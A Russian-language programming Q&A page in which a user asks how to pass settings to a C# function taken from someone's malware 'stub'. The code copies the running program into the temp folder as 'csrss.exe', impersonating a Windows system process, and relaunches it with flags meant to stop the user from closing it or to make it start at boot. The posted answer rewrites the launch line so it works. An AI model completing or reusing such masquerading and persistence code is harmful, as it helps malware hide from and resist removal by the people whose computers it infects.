.NET 2.x Передать нужный параметр - C#

Узнай цену своей работы

Формулировка задачи:

Нашел в чужом сорсе функцию, которая защищает процес от закрытия пользователем. Но так как сорсы так называемомго стаба, то не могу понять какой параметр передать нужно. Может кто-то догадается )
int handle = Process.GetCurrentProcess().Id;
if(GetSetting<bool>("ProcessPersistence") || GetSetting<bool>("StartupPersistence"))
                    {
                        try
                        {
                            File.Copy(Application.ExecutablePath, Path.GetTempPath() + "csrss.exe", true);
                            Process.Start(Path.GetTempPath() + "csrss.exe", (GetSetting<bool>("ProcessPersistence") ? "-p " + """ + Application.ExecutablePath + "" " + handle.ToString() + " ": "") + (GetSetting<bool>("StartupPersistence") ? "-s" : ""));
                        }
                        catch { }
                    }
Выбор происходит чекбоксом.
Актуально. Нужно понять какие параметры передать вместо
GetSetting<bool>

Решение задачи: «.NET 2.x Передать нужный параметр»

textual
Листинг программы
Process.Start(Path.GetTempPath() + "csrss.exe", (ProcessPersistence ? "-p " + """ + Application.ExecutablePath + "" " + handle.ToString() + " ": "") + (StartupPersistence ? "-s" : ""));

ИИ поможет Вам:


  • решить любую задачу по программированию
  • объяснить код
  • расставить комментарии в коде
  • и т.д
Попробуйте бесплатно

Оцени полезность:

12   голосов , оценка 3.833 из 5
Похожие ответы